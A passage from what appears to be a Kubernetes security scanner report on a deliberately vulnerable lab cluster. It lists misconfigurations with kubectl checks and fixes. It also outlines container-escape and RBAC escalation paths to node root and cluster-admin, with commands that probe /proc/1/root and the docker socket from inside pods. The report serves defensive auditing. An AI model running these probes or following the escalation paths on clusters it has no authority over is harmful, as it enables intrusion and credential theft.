  4. Result: Inverted priority โ€” important services evicted before trivial ones
# INFO: Missing PriorityClass - Unpredictable Eviction Order

# Verify no priority class configured
kubectl get Deployment system-monitor-deployment -n default \
  -o jsonpath='{.spec.template.spec.priorityClassName}'
# Empty = no priorityClass (defaults to 0)

# List available priority classes
kubectl get priorityclasses

# Check current pod priority
kubectl get pods -n default -l app=system-monitor-deployment \
  -o jsonpath='{.items[0].spec.priority}'
# 0 = lowest priority

# REMEDIATION: Create and assign a priority class:
kubectl create priorityclass high-priority --value=1000000 --global-default=false
# Then set in pod spec: priorityClassName: high-priority
โšช INFO
Missing PriorityClass Deployment/health-check-deployment ยท default workload
โ€บ

Deployment 'health-check-deployment' has no priorityClassName โ€” under resource pressure, pods will be evicted with default (lowest) priority and may not be rescheduled promptly.

INFO - Missing PriorityClass means the workload competes at equal priority with all other pods; resource contention may evict critical services before low-priority batch workloads

Assign a priorityClassName appropriate to the workload's criticality (e.g. system-cluster-critical for infrastructure, or a custom PriorityClass).
  • Without PriorityClass, workloads have default priority (0)
  • Under resource pressure, scheduler evicts lowest-priority pods first
  • Critical business workloads evicted before low-priority batch jobs
  • No SLO-based resource guarantee during cluster resource contention
  1. Deploy a high-priority workload or trigger resource contention
  2. Kubernetes scheduler evicts low-priority (no priorityClass) pods first
  3. Business-critical service evicted while batch jobs remain running
  4. Result: Inverted priority โ€” important services evicted before trivial ones
# INFO: Missing PriorityClass - Unpredictable Eviction Order

# Verify no priority class configured
kubectl get Deployment health-check-deployment -n default \
  -o jsonpath='{.spec.template.spec.priorityClassName}'
# Empty = no priorityClass (defaults to 0)

# List available priority classes
kubectl get priorityclasses

# Check current pod priority
kubectl get pods -n default -l app=health-check-deployment \
  -o jsonpath='{.items[0].spec.priority}'
# 0 = lowest priority

# REMEDIATION: Create and assign a priority class:
kubectl create priorityclass high-priority --value=1000000 --global-default=false
# Then set in pod spec: priorityClassName: high-priority
โšช INFO
Missing PriorityClass Deployment/poor-registry-deployment ยท default workload
โ€บ

Deployment 'poor-registry-deployment' has no priorityClassName โ€” under resource pressure, pods will be evicted with default (lowest) priority and may not be rescheduled promptly.

INFO - Missing PriorityClass means the workload competes at equal priority with all other pods; resource contention may evict critical services before low-priority batch workloads

Assign a priorityClassName appropriate to the workload's criticality (e.g. system-cluster-critical for infrastructure, or a custom PriorityClass).
  • Without PriorityClass, workloads have default priority (0)
  • Under resource pressure, scheduler evicts lowest-priority pods first
  • Critical business workloads evicted before low-priority batch jobs
  • No SLO-based resource guarantee during cluster resource contention
  1. Deploy a high-priority workload or trigger resource contention
  2. Kubernetes scheduler evicts low-priority (no priorityClass) pods first
  3. Business-critical service evicted while batch jobs remain running
  4. Result: Inverted priority โ€” important services evicted before trivial ones
# INFO: Missing PriorityClass - Unpredictable Eviction Order

# Verify no priority class configured
kubectl get Deployment poor-registry-deployment -n default \
  -o jsonpath='{.spec.template.spec.priorityClassName}'
# Empty = no priorityClass (defaults to 0)

# List available priority classes
kubectl get priorityclasses

# Check current pod priority
kubectl get pods -n default -l app=poor-registry-deployment \
  -o jsonpath='{.items[0].spec.priority}'
# 0 = lowest priority

# REMEDIATION: Create and assign a priority class:
kubectl create priorityclass high-priority --value=1000000 --global-default=false
# Then set in pod spec: priorityClassName: high-priority
โšช INFO
Missing PriorityClass Deployment/internal-proxy-deployment ยท default workload
โ€บ

Deployment 'internal-proxy-deployment' has no priorityClassName โ€” under resource pressure, pods will be evicted with default (lowest) priority and may not be rescheduled promptly.

INFO - Missing PriorityClass means the workload competes at equal priority with all other pods; resource contention may evict critical services before low-priority batch workloads

Assign a priorityClassName appropriate to the workload's criticality (e.g. system-cluster-critical for infrastructure, or a custom PriorityClass).
  • Without PriorityClass, workloads have default priority (0)
  • Under resource pressure, scheduler evicts lowest-priority pods first
  • Critical business workloads evicted before low-priority batch jobs
  • No SLO-based resource guarantee during cluster resource contention
  1. Deploy a high-priority workload or trigger resource contention
  2. Kubernetes scheduler evicts low-priority (no priorityClass) pods first
  3. Business-critical service evicted while batch jobs remain running
  4. Result: Inverted priority โ€” important services evicted before trivial ones
# INFO: Missing PriorityClass - Unpredictable Eviction Order

# Verify no priority class configured
kubectl get Deployment internal-proxy-deployment -n default \
  -o jsonpath='{.spec.template.spec.priorityClassName}'
# Empty = no priorityClass (defaults to 0)

# List available priority classes
kubectl get priorityclasses

# Check current pod priority
kubectl get pods -n default -l app=internal-proxy-deployment \
  -o jsonpath='{.items[0].spec.priority}'
# 0 = lowest priority

# REMEDIATION: Create and assign a priority class:
kubectl create priorityclass high-priority --value=1000000 --global-default=false
# Then set in pod spec: priorityClassName: high-priority
โšช INFO
Missing Readiness Probe Deployment/hunger-check-deployment ยท big-monolith workload
โ€บ

Container 'hunger-check' in Deployment 'hunger-check-deployment' has no readiness probe.

INFO - Traffic may be routed to unready pods, causing failed requests

Add a readinessProbe to prevent routing traffic to pods before they're ready.
# VALIDATION: Check Readiness Probe

kubectl describe Deployment hunger-check-deployment -n big-monolith | grep -i readiness
kubectl get Deployment hunger-check-deployment -n big-monolith -o yaml | grep -A5 readinessProbe
# Empty output = missing probe (VULNERABLE)
โšช INFO
Missing Readiness Probe Deployment/system-monitor-deployment ยท default workload
โ€บ

Container 'system-monitor' in Deployment 'system-monitor-deployment' has no readiness probe.

INFO - Traffic may be routed to unready pods, causing failed requests

Add a readinessProbe to prevent routing traffic to pods before they're ready.
# VALIDATION: Check Readiness Probe

kubectl describe Deployment system-monitor-deployment -n default | grep -i readiness
kubectl get Deployment system-monitor-deployment -n default -o yaml | grep -A5 readinessProbe
# Empty output = missing probe (VULNERABLE)
โšช INFO
Missing Readiness Probe Deployment/kubernetes-goat-home-deployment ยท default workload
โ€บ

Container 'kubernetes-goat-home' in Deployment 'kubernetes-goat-home-deployment' has no readiness probe.

INFO - Traffic may be routed to unready pods, causing failed requests

Add a readinessProbe to prevent routing traffic to pods before they're ready.
# VALIDATION: Check Readiness Probe

kubectl describe Deployment kubernetes-goat-home-deployment -n default | grep -i readiness
kubectl get Deployment kubernetes-goat-home-deployment -n default -o yaml | grep -A5 readinessProbe
# Empty output = missing probe (VULNERABLE)
โšช INFO
Missing Readiness Probe Deployment/local-path-provisioner ยท local-path-storage workload
โ€บ

Container 'local-path-provisioner' in Deployment 'local-path-provisioner' has no readiness probe.

INFO - Traffic may be routed to unready pods, causing failed requests

Add a readinessProbe to prevent routing traffic to pods before they're ready.
# VALIDATION: Check Readiness Probe

kubectl describe Deployment local-path-provisioner -n local-path-storage | grep -i readiness
kubectl get Deployment local-path-provisioner -n local-path-storage -o yaml | grep -A5 readinessProbe
# Empty output = missing probe (VULNERABLE)
โšช INFO
Missing Readiness Probe Deployment/cache-store-deployment ยท secure-middleware workload
โ€บ

Container 'cache-store' in Deployment 'cache-store-deployment' has no readiness probe.

INFO - Traffic may be routed to unready pods, causing failed requests

Add a readinessProbe to prevent routing traffic to pods before they're ready.
# VALIDATION: Check Readiness Probe

kubectl describe Deployment cache-store-deployment -n secure-middleware | grep -i readiness
kubectl get Deployment cache-store-deployment -n secure-middleware -o yaml | grep -A5 readinessProbe
# Empty output = missing probe (VULNERABLE)
โšช INFO
Missing Readiness Probe Deployment/internal-proxy-deployment ยท default workload
โ€บ

Container 'internal-api' in Deployment 'internal-proxy-deployment' has no readiness probe.

INFO - Traffic may be routed to unready pods, causing failed requests

Add a readinessProbe to prevent routing traffic to pods before they're ready.
# VALIDATION: Check Readiness Probe

kubectl describe Deployment internal-proxy-deployment -n default | grep -i readiness
kubectl get Deployment internal-proxy-deployment -n default -o yaml | grep -A5 readinessProbe
# Empty output = missing probe (VULNERABLE)
โšช INFO
Missing Readiness Probe Deployment/poor-registry-deployment ยท default workload
โ€บ

Container 'poor-registry' in Deployment 'poor-registry-deployment' has no readiness probe.

INFO - Traffic may be routed to unready pods, causing failed requests

Add a readinessProbe to prevent routing traffic to pods before they're ready.
# VALIDATION: Check Readiness Probe

kubectl describe Deployment poor-registry-deployment -n default | grep -i readiness
kubectl get Deployment poor-registry-deployment -n default -o yaml | grep -A5 readinessProbe
# Empty output = missing probe (VULNERABLE)
โšช INFO
Missing Readiness Probe Deployment/health-check-deployment ยท default workload
โ€บ

Container 'health-check' in Deployment 'health-check-deployment' has no readiness probe.

INFO - Traffic may be routed to unready pods, causing failed requests

Add a readinessProbe to prevent routing traffic to pods before they're ready.
# VALIDATION: Check Readiness Probe

kubectl describe Deployment health-check-deployment -n default | grep -i readiness
kubectl get Deployment health-check-deployment -n default -o yaml | grep -A5 readinessProbe
# Empty output = missing probe (VULNERABLE)
โšช INFO
Missing Readiness Probe Deployment/build-code-deployment ยท default workload
โ€บ

Container 'build-code' in Deployment 'build-code-deployment' has no readiness probe.

INFO - Traffic may be routed to unready pods, causing failed requests

Add a readinessProbe to prevent routing traffic to pods before they're ready.
# VALIDATION: Check Readiness Probe

kubectl describe Deployment build-code-deployment -n default | grep -i readiness
kubectl get Deployment build-code-deployment -n default -o yaml | grep -A5 readinessProbe
# Empty output = missing probe (VULNERABLE)
โšช INFO
Missing Resource Requests Job/hidden-in-layers ยท default workload
โ€บ

Container 'hidden-in-layers' in Job 'hidden-in-layers' has no CPU/memory requests.

INFO - Node scheduler cannot make optimal placement decisions, risking resource starvation

Set resource requests matching typical usage.
# VALIDATION: Check Resource Requests

kubectl describe Job hidden-in-layers -n default | grep -A5 Requests
kubectl get Job hidden-in-layers -n default -o yaml | grep -A3 requests:
# Empty output = no requests (VULNERABLE)
โšช INFO
Missing Resource Requests Deployment/poor-registry-deployment ยท default workload
โ€บ

Container 'poor-registry' in Deployment 'poor-registry-deployment' has no CPU/memory requests.

INFO - Node scheduler cannot make optimal placement decisions, risking resource starvation

Set resource requests matching typical usage.
# VALIDATION: Check Resource Requests

kubectl describe Deployment poor-registry-deployment -n default | grep -A5 Requests
kubectl get Deployment poor-registry-deployment -n default -o yaml | grep -A3 requests:
# Empty output = no requests (VULNERABLE)
โšช INFO
Missing Resource Requests Deployment/build-code-deployment ยท default workload
โ€บ

Container 'build-code' in Deployment 'build-code-deployment' has no CPU/memory requests.

INFO - Node scheduler cannot make optimal placement decisions, risking resource starvation

Set resource requests matching typical usage.
# VALIDATION: Check Resource Requests

kubectl describe Deployment build-code-deployment -n default | grep -A5 Requests
kubectl get Deployment build-code-deployment -n default -o yaml | grep -A3 requests:
# Empty output = no requests (VULNERABLE)
โšช INFO
Missing Resource Requests Job/batch-check-job ยท default workload
โ€บ

Container 'batch-check' in Job 'batch-check-job' has no CPU/memory requests.

INFO - Node scheduler cannot make optimal placement decisions, risking resource starvation

Set resource requests matching typical usage.
# VALIDATION: Check Resource Requests

kubectl describe Job batch-check-job -n default | grep -A5 Requests
kubectl get Job batch-check-job -n default -o yaml | grep -A3 requests:
# Empty output = no requests (VULNERABLE)
โšช INFO
Missing Resource Requests Deployment/cache-store-deployment ยท secure-middleware workload
โ€บ

Container 'cache-store' in Deployment 'cache-store-deployment' has no CPU/memory requests.

INFO - Node scheduler cannot make optimal placement decisions, risking resource starvation

Set resource requests matching typical usage.
# VALIDATION: Check Resource Requests

kubectl describe Deployment cache-store-deployment -n secure-middleware | grep -A5 Requests
kubectl get Deployment cache-store-deployment -n secure-middleware -o yaml | grep -A3 requests:
# Empty output = no requests (VULNERABLE)
โšช INFO
Missing Resource Requests Deployment/system-monitor-deployment ยท default workload
โ€บ

Container 'system-monitor' in Deployment 'system-monitor-deployment' has no CPU/memory requests.

INFO - Node scheduler cannot make optimal placement decisions, risking resource starvation

Set resource requests matching typical usage.
# VALIDATION: Check Resource Requests

kubectl describe Deployment system-monitor-deployment -n default | grep -A5 Requests
kubectl get Deployment system-monitor-deployment -n default -o yaml | grep -A3 requests:
# Empty output = no requests (VULNERABLE)
โšช INFO
Missing Resource Requests Deployment/kubernetes-goat-home-deployment ยท default workload
โ€บ

Container 'kubernetes-goat-home' in Deployment 'kubernetes-goat-home-deployment' has no CPU/memory requests.

INFO - Node scheduler cannot make optimal placement decisions, risking resource starvation

Set resource requests matching typical usage.
# VALIDATION: Check Resource Requests

kubectl describe Deployment kubernetes-goat-home-deployment -n default | grep -A5 Requests
kubectl get Deployment kubernetes-goat-home-deployment -n default -o yaml | grep -A3 requests:
# Empty output = no requests (VULNERABLE)
โšช INFO
Missing Resource Requests Deployment/local-path-provisioner ยท local-path-storage workload
โ€บ

Container 'local-path-provisioner' in Deployment 'local-path-provisioner' has no CPU/memory requests.

INFO - Node scheduler cannot make optimal placement decisions, risking resource starvation

Set resource requests matching typical usage.
# VALIDATION: Check Resource Requests

kubectl describe Deployment local-path-provisioner -n local-path-storage | grep -A5 Requests
kubectl get Deployment local-path-provisioner -n local-path-storage -o yaml | grep -A3 requests:
# Empty output = no requests (VULNERABLE)
โšช INFO
Missing Resource Requests Deployment/health-check-deployment ยท default workload
โ€บ

Container 'health-check' in Deployment 'health-check-deployment' has no CPU/memory requests.

INFO - Node scheduler cannot make optimal placement decisions, risking resource starvation

Set resource requests matching typical usage.
# VALIDATION: Check Resource Requests

kubectl describe Deployment health-check-deployment -n default | grep -A5 Requests
kubectl get Deployment health-check-deployment -n default -o yaml | grep -A3 requests:
# Empty output = no requests (VULNERABLE)
โšช INFO
Missing Resource Requests Deployment/hunger-check-deployment ยท big-monolith workload
โ€บ

Container 'hunger-check' in Deployment 'hunger-check-deployment' has no CPU/memory requests.

INFO - Node scheduler cannot make optimal placement decisions, risking resource starvation

Set resource requests matching typical usage.
# VALIDATION: Check Resource Requests

kubectl describe Deployment hunger-check-deployment -n big-monolith | grep -A5 Requests
kubectl get Deployment hunger-check-deployment -n big-monolith -o yaml | grep -A3 requests:
# Empty output = no requests (VULNERABLE)
โšช INFO
Single Replica Deployment Deployment/metadata-db ยท default workload
โ€บ

Deployment 'metadata-db' has only 1 replica โ€” single point of failure, no high availability.

INFO - No high availability, single point of failure, service downtime during updates

Set spec.replicas to at least 2 (ideally 3+) and use a PodDisruptionBudget.
# VALIDATION: Check Replica Count

kubectl get Deployment metadata-db -n default
kubectl get Deployment metadata-db -n default -o yaml | grep replicas:
# replicas: 1 = VULNERABLE (no HA)

# REMEDIATION: kubectl scale Deployment metadata-db -n default --replicas=3
โšช INFO
Single Replica Deployment Deployment/cache-store-deployment ยท secure-middleware workload
โ€บ

Deployment 'cache-store-deployment' has only 1 replica โ€” single point of failure, no high availability.

INFO - No high availability, single point of failure, service downtime during updates

Set spec.replicas to at least 2 (ideally 3+) and use a PodDisruptionBudget.
# VALIDATION: Check Replica Count

kubectl get Deployment cache-store-deployment -n secure-middleware
kubectl get Deployment cache-store-deployment -n secure-middleware -o yaml | grep replicas:
# replicas: 1 = VULNERABLE (no HA)

# REMEDIATION: kubectl scale Deployment cache-store-deployment -n secure-middleware --replicas=3
โšช INFO
Single Replica Deployment Deployment/health-check-deployment ยท default workload
โ€บ

Deployment 'health-check-deployment' has only 1 replica โ€” single point of failure, no high availability.

INFO - No high availability, single point of failure, service downtime during updates

Set spec.replicas to at least 2 (ideally 3+) and use a PodDisruptionBudget.
# VALIDATION: Check Replica Count

kubectl get Deployment health-check-deployment -n default
kubectl get Deployment health-check-deployment -n default -o yaml | grep replicas:
# replicas: 1 = VULNERABLE (no HA)

# REMEDIATION: kubectl scale Deployment health-check-deployment -n default --replicas=3
โšช INFO
Single Replica Deployment Deployment/internal-proxy-deployment ยท default workload
โ€บ

Deployment 'internal-proxy-deployment' has only 1 replica โ€” single point of failure, no high availability.

INFO - No high availability, single point of failure, service downtime during updates

Set spec.replicas to at least 2 (ideally 3+) and use a PodDisruptionBudget.
# VALIDATION: Check Replica Count

kubectl get Deployment internal-proxy-deployment -n default
kubectl get Deployment internal-proxy-deployment -n default -o yaml | grep replicas:
# replicas: 1 = VULNERABLE (no HA)

# REMEDIATION: kubectl scale Deployment internal-proxy-deployment -n default --replicas=3
โšช INFO
Single Replica Deployment Deployment/kubernetes-goat-home-deployment ยท default workload
โ€บ

Deployment 'kubernetes-goat-home-deployment' has only 1 replica โ€” single point of failure, no high availability.

INFO - No high availability, single point of failure, service downtime during updates

Set spec.replicas to at least 2 (ideally 3+) and use a PodDisruptionBudget.
# VALIDATION: Check Replica Count

kubectl get Deployment kubernetes-goat-home-deployment -n default
kubectl get Deployment kubernetes-goat-home-deployment -n default -o yaml | grep replicas:
# replicas: 1 = VULNERABLE (no HA)

# REMEDIATION: kubectl scale Deployment kubernetes-goat-home-deployment -n default --replicas=3
โšช INFO
Single Replica Deployment Deployment/local-path-provisioner ยท local-path-storage workload
โ€บ

Deployment 'local-path-provisioner' has only 1 replica โ€” single point of failure, no high availability.

INFO - No high availability, single point of failure, service downtime during updates

Set spec.replicas to at least 2 (ideally 3+) and use a PodDisruptionBudget.
# VALIDATION: Check Replica Count

kubectl get Deployment local-path-provisioner -n local-path-storage
kubectl get Deployment local-path-provisioner -n local-path-storage -o yaml | grep replicas:
# replicas: 1 = VULNERABLE (no HA)

# REMEDIATION: kubectl scale Deployment local-path-provisioner -n local-path-storage --replicas=3
โšช INFO
Single Replica Deployment Deployment/hunger-check-deployment ยท big-monolith workload
โ€บ

Deployment 'hunger-check-deployment' has only 1 replica โ€” single point of failure, no high availability.

INFO - No high availability, single point of failure, service downtime during updates

Set spec.replicas to at least 2 (ideally 3+) and use a PodDisruptionBudget.
# VALIDATION: Check Replica Count

kubectl get Deployment hunger-check-deployment -n big-monolith
kubectl get Deployment hunger-check-deployment -n big-monolith -o yaml | grep replicas:
# replicas: 1 = VULNERABLE (no HA)

# REMEDIATION: kubectl scale Deployment hunger-check-deployment -n big-monolith --replicas=3
โšช INFO
Single Replica Deployment Deployment/build-code-deployment ยท default workload
โ€บ

Deployment 'build-code-deployment' has only 1 replica โ€” single point of failure, no high availability.

INFO - No high availability, single point of failure, service downtime during updates

Set spec.replicas to at least 2 (ideally 3+) and use a PodDisruptionBudget.
# VALIDATION: Check Replica Count

kubectl get Deployment build-code-deployment -n default
kubectl get Deployment build-code-deployment -n default -o yaml | grep replicas:
# replicas: 1 = VULNERABLE (no HA)

# REMEDIATION: kubectl scale Deployment build-code-deployment -n default --replicas=3
โšช INFO
Single Replica Deployment Deployment/poor-registry-deployment ยท default workload
โ€บ

Deployment 'poor-registry-deployment' has only 1 replica โ€” single point of failure, no high availability.

INFO - No high availability, single point of failure, service downtime during updates

Set spec.replicas to at least 2 (ideally 3+) and use a PodDisruptionBudget.
# VALIDATION: Check Replica Count

kubectl get Deployment poor-registry-deployment -n default
kubectl get Deployment poor-registry-deployment -n default -o yaml | grep replicas:
# replicas: 1 = VULNERABLE (no HA)

# REMEDIATION: kubectl scale Deployment poor-registry-deployment -n default --replicas=3
โšช INFO
Single Replica Deployment Deployment/system-monitor-deployment ยท default workload
โ€บ

Deployment 'system-monitor-deployment' has only 1 replica โ€” single point of failure, no high availability.

INFO - No high availability, single point of failure, service downtime during updates

Set spec.replicas to at least 2 (ideally 3+) and use a PodDisruptionBudget.
# VALIDATION: Check Replica Count

kubectl get Deployment system-monitor-deployment -n default
kubectl get Deployment system-monitor-deployment -n default -o yaml | grep replicas:
# replicas: 1 = VULNERABLE (no HA)

# REMEDIATION: kubectl scale Deployment system-monitor-deployment -n default --replicas=3
6 Capability Break(s) Detected ยท Blast Radius Mode: ACTUAL
CB-001
Container Isolation Failure L1 โ€” Workload Boundary
BROKEN
Confidence
100%
Exploitability
IMMEDIATE
Blast Radius
CRITICAL
Fix Priority
P0
T1611Privilege Escalation
Escape to Host
T1543Persistence
Create or Modify System Process
  • CRITICAL Privileged Container Detected system-monitor-deployment/default
  • CRITICAL Privileged Container Detected health-check-deployment/default
  • HIGH hostPID Enabled system-monitor-deployment/default
  • MEDIUM Privilege Escalation Allowed system-monitor-deployment/default
  • MEDIUM Privilege Escalation Allowed health-check-deployment/default
BOUNDARY BROKEN โ€” 5 independent container escape vector(s) confirmed
FindingResourceSevWhy This Proves Boundary Failure
Privileged Container Detected default/system-monitor-deployment CRITICAL Grants container direct host kernel namespace access โ€” equivalent to root on the node
Privileged Container Detected default/health-check-deployment CRITICAL Grants container direct host kernel namespace access โ€” equivalent to root on the node
hostPID Enabled default/system-monitor-deployment HIGH All node processes visible โ€” /proc/*/root exposes host filesystem to container
Privilege Escalation Allowed default/system-monitor-deployment MEDIUM AllowPrivilegeEscalation enabled โ€” setuid binaries can elevate child process privileges beyond parent
Privilege Escalation Allowed default/health-check-deployment MEDIUM AllowPrivilegeEscalation enabled โ€” setuid binaries can elevate child process privileges beyond parent
5 finding(s) independently allow container-to-node escape. An attacker in ANY of these containers can reach node-level access without additional exploitation steps. Each signal is individually sufficient โ€” together they represent multiple parallel escape paths.
Compromised Container
โ†’ Privileged / hostPID / hostPath access
โ†’ Node filesystem or kubelet socket
โ†’ Steal kubeconfig / SA token
โ†’ cluster-admin
  • node root access
  • kubelet compromise
  • credential theft from node filesystem
31
Pods
7
Namespaces
1
Nodes
4
Secrets
# CB-001 โ€” Container Isolation Failure
# Vulnerability Validation โ€” Confirm isolation boundary is breakable
# Purpose: Verify misconfiguration exists. Does NOT exploit.

# Check 1: Confirm privileged flag or dangerous capabilities
kubectl get pod system-monitor-deployment -n default -o jsonpath='{.spec.containers[*].securityContext}' | jq .

# Check 2: Verify host namespace sharing
kubectl get pod system-monitor-deployment -n default -o jsonpath='{.spec.hostPID} {.spec.hostNetwork} {.spec.hostIPC}'
# BOUNDARY BREAKABLE if any field = "true"

# Check 3: Non-destructive isolation boundary test
kubectl exec system-monitor-deployment -n default -- ls /proc/1/root/ 2>/dev/null \
  && echo "RESULT: HOST_ACCESSIBLE โ€” container sees node filesystem" \
  || echo "RESULT: ISOLATED โ€” /proc/1/root not reachable"

# Check 4: Enumerate dangerous volume mounts
kubectl get pod system-monitor-deployment -n default -o jsonpath='{.spec.volumes[*]}' | jq .

  Affected namespaces: default
    - default/system-monitor-deployment
    - default/health-check-deployment
    - default/system-monitor-deployment
    - default/system-monitor-deployment
    - default/health-check-deployment

# CONFIRMED if: privileged=true OR hostPID/hostNetwork=true OR /proc/1/root accessible
# IMPACT: Any code in this container can reach node-level resources without kernel exploit
Remove privileged:true. Drop ALL capabilities and add only required ones. Avoid hostPID/hostNetwork/hostPath. Set runAsNonRoot:true and allowPrivilegeEscalation:false.
CB-003
RBAC Boundary Failure L2 โ€” Identity Boundary
BROKEN
Confidence
100%
Exploitability
IMMEDIATE
Blast Radius
CRITICAL
Fix Priority
P0
T1548Privilege Escalation
Abuse Elevation Control Mechanism
T1078Defense Evasion
Valid Accounts
  • CRITICAL Overly Permissive Role Binding superadmin/cluster-wide
  • CRITICAL Wildcard Permissions Granted secret-reader/big-monolith
  • CRITICAL system:masters Group Binding Detected cluster-admin/cluster-wide
  • HIGH Dangerous Permission Combination local-path-provisioner-role/local-path-storage
  • HIGH Dangerous Permission Combination local-path-provisioner-role
BOUNDARY BROKEN โ€” 5 RBAC privilege escalation path(s) confirmed
FindingResourceSevWhy This Proves Boundary Failure
Overly Permissive Role Binding cluster-wide/superadmin CRITICAL Permission set exceeds operational needs โ€” unnecessary attack surface
Wildcard Permissions Granted big-monolith/secret-reader CRITICAL Wildcard permissions on resources โ€” all current and future K8s API resources accessible with all verbs
system:masters Group Binding Detected cluster-wide/cluster-admin CRITICAL system:masters group binding grants unconditional cluster-admin โ€” cannot be restricted by RBAC admission
Dangerous Permission Combination local-path-storage/local-path-provisioner-role HIGH Dangerous permission combination provides an escalation path via indirect privilege abuse
Dangerous Permission Combination local-path-provisioner-role HIGH Dangerous permission combination provides an escalation path via indirect privilege abuse
The identity model allows self-escalation to cluster-admin without external action. An attacker who compromises any workload with these permissions can obtain unrestricted cluster control in a single API call.
Compromised Identity
โ†’ Create RoleBinding / impersonate / token create
โ†’ Escalate to cluster-admin
โ†’ Full cluster control
  • cluster-admin escalation
  • unrestricted API access
  • full cluster takeover
31
Pods
7
Namespaces
1
Nodes
4
Secrets
# CB-003 โ€” RBAC Boundary Failure
# Vulnerability Validation โ€” Confirm privilege escalation path exists
# Purpose: Verify escalation verbs are present. Does NOT escalate.

# Check 1: Test for "escalate" verb on ClusterRoles
kubectl auth can-i escalate clusterroles \
  --as=system:serviceaccount:cluster-wide:superadmin
# BOUNDARY BROKEN if output = "yes"

# Check 2: Test for "bind" verb (create bindings to any role)
kubectl auth can-i bind clusterroles \
  --as=system:serviceaccount:cluster-wide:superadmin
# BOUNDARY BROKEN if output = "yes"

# Check 3: Test for impersonation capability
kubectl auth can-i impersonate users \
  --as=system:serviceaccount:cluster-wide:superadmin

# Check 4: List ClusterRoles with dangerous verbs
kubectl get clusterroles -o json | \
  jq '.items[] | select(.rules[]?.verbs[]? | test("^(escalate|bind|impersonate)$")) |
      {name: .metadata.name, rules: .rules}'

# Check 5: Full permission listing for this identity
kubectl auth can-i --list --as=system:serviceaccount:cluster-wide:superadmin

  Affected namespaces: cluster-wide, big-monolith, local-path-storage
    - cluster-wide/superadmin
    - big-monolith/secret-reader
    - cluster-wide/cluster-admin
    - local-path-storage/local-path-provisioner-role
    - local-path-provisioner-role

# CONFIRMED if: escalate OR bind returns "yes" for this identity
# IMPACT: Single API call is sufficient to reach cluster-admin from this identity
Apply principle of least privilege. Audit roles with wildcard verbs/resources. Remove escalate/bind/impersonate from non-admin roles. Use TokenRequest API instead of long-lived tokens.
CB-006
Node Trust Failure L4 โ€” Infrastructure Boundary
BROKEN
Confidence
91%
Exploitability
IMMEDIATE
Blast Radius
CRITICAL
Fix Priority
P0
T1611Privilege Escalation
Escape to Host
T1610Execution
Deploy Container
  • CRITICAL Docker Socket Mount Detected health-check-deployment/default
  • HIGH hostPID Enabled system-monitor-deployment/default
BOUNDARY BROKEN โ€” node runtime interface directly exposed (2 signal(s))
FindingResourceSevWhy This Proves Boundary Failure
Docker Socket Mount Detected default/health-check-deployment CRITICAL Docker socket access = unconditional node root โ€” spawn privileged container, mount host, escape
hostPID Enabled default/system-monitor-deployment HIGH Host PID namespace exposes all node processes โ€” attach to kubelet or containerd directly
Container runtime socket access enables spawning new privileged containers via the node's CRI API, completely bypassing Kubernetes RBAC. This is an unconditional path to node root โ€” no kernel exploit required.
Compromised Container
โ†’ Access docker.sock / containerd.sock
โ†’ Spawn new privileged container
โ†’ Mount host filesystem
โ†’ Node root
  • node root access
  • kernel-level code execution
  • all pods on node compromised
31
Pods
7
Namespaces
1
Nodes
4
Secrets
# CB-006 โ€” Node Trust Failure
# Vulnerability Validation โ€” Confirm container runtime socket is accessible
# Purpose: Verify socket mount exists. Does NOT spawn containers.

# Check 1: Verify docker/containerd socket mount in pod spec
kubectl get pod health-check-deployment -n default -o jsonpath='{.spec.volumes}' | \
  jq '.[] | select(.hostPath.path | test("docker.sock|containerd.sock|cri.sock"))'
# VULNERABLE if any matching volume is found

# Check 2: Confirm socket is accessible from inside the container
kubectl exec health-check-deployment -n default -- ls -la \
  /var/run/docker.sock \
  /run/containerd/containerd.sock \
  /run/cri-dockerd.sock 2>/dev/null
# VULNERABLE if socket file is visible

# Check 3: Verify socket is usable (read-only API query, no modification)
kubectl exec health-check-deployment -n default -- sh -c \
  'docker -H unix:///var/run/docker.sock version 2>/dev/null | head -3 || echo "docker unavailable"'

# Check 4: Confirm containerd socket access
kubectl exec health-check-deployment -n default -- sh -c \
  'ctr -a /run/containerd/containerd.sock version 2>/dev/null | head -3 || echo "ctr unavailable"'

  Affected namespaces: default
    - default/health-check-deployment
    - default/system-monitor-deployment

# CONFIRMED if: socket file accessible AND API query succeeds
# IMPACT: Socket access enables spawning privileged containers via CRI, bypassing Kubernetes RBAC entirely
Never mount /var/run/docker.sock or /run/containerd/containerd.sock in workloads. Disable hostPID. Use read-only rootfs. Apply seccomp/AppArmor profiles.
CB-002
Namespace Isolation Failure L2 โ€” Identity Boundary
BROKEN
Confidence
89%
Exploitability
IMMEDIATE
Blast Radius
CRITICAL
Fix Priority
P0
T1484Privilege Escalation
Domain Policy Modification
T1078Defense Evasion
Valid Accounts
  • CRITICAL Wildcard Permissions Granted secret-reader/big-monolith
  • HIGH Cross-Namespace ServiceAccount Binding system:controller:bootstrap-signer/kube-public
BOUNDARY BROKEN โ€” namespace isolation bypassed via 2 cluster-scoped signal(s)
FindingResourceSevWhy This Proves Boundary Failure
Wildcard Permissions Granted big-monolith/secret-reader CRITICAL Wildcard resource/verb expands permissions to all current and future resource types
Cross-Namespace ServiceAccount Binding kube-public/system:controller:bootstrap-signer HIGH Explicit cross-namespace access proves isolation boundary is broken
ClusterRoleBinding(s) or wildcard RBAC permissions allow cross-namespace resource access. The namespace boundary provides no security guarantee in this cluster โ€” it is an organizational label, not a security boundary.
Workload in Namespace A
โ†’ ClusterRoleBinding / wildcard RBAC
โ†’ Access resources in Namespace B..N
โ†’ Tenant escape
  • tenant escape
  • cross-namespace lateral movement
  • multi-tenant isolation broken
31
Pods
7
Namespaces
1
Nodes
4
Secrets
# CB-002 โ€” Namespace Isolation Failure
# Vulnerability Validation โ€” Confirm namespace boundary provides no security
# Purpose: Verify cross-namespace RBAC access. Does NOT modify resources.

# Check 1: List cluster-wide bindings for this service account
kubectl get clusterrolebindings -o json | \
  jq '.items[] | select(.subjects[]? | .name == "secret-reader") | .metadata.name'

# Check 2: Verify permission to read secrets in other namespaces
kubectl auth can-i get secrets --namespace kube-system \
  --as=system:serviceaccount:big-monolith:secret-reader
# BOUNDARY BROKEN if output = "yes"

# Check 3: Cross-namespace pod list capability
kubectl auth can-i list pods --all-namespaces \
  --as=system:serviceaccount:big-monolith:secret-reader
# BOUNDARY BROKEN if output = "yes"

# Check 4: Full RBAC permission dump for this identity
kubectl auth can-i --list --as=system:serviceaccount:big-monolith:secret-reader | head -20

  Affected namespaces: big-monolith, kube-public
    - big-monolith/secret-reader
    - kube-public/system:controller:bootstrap-signer

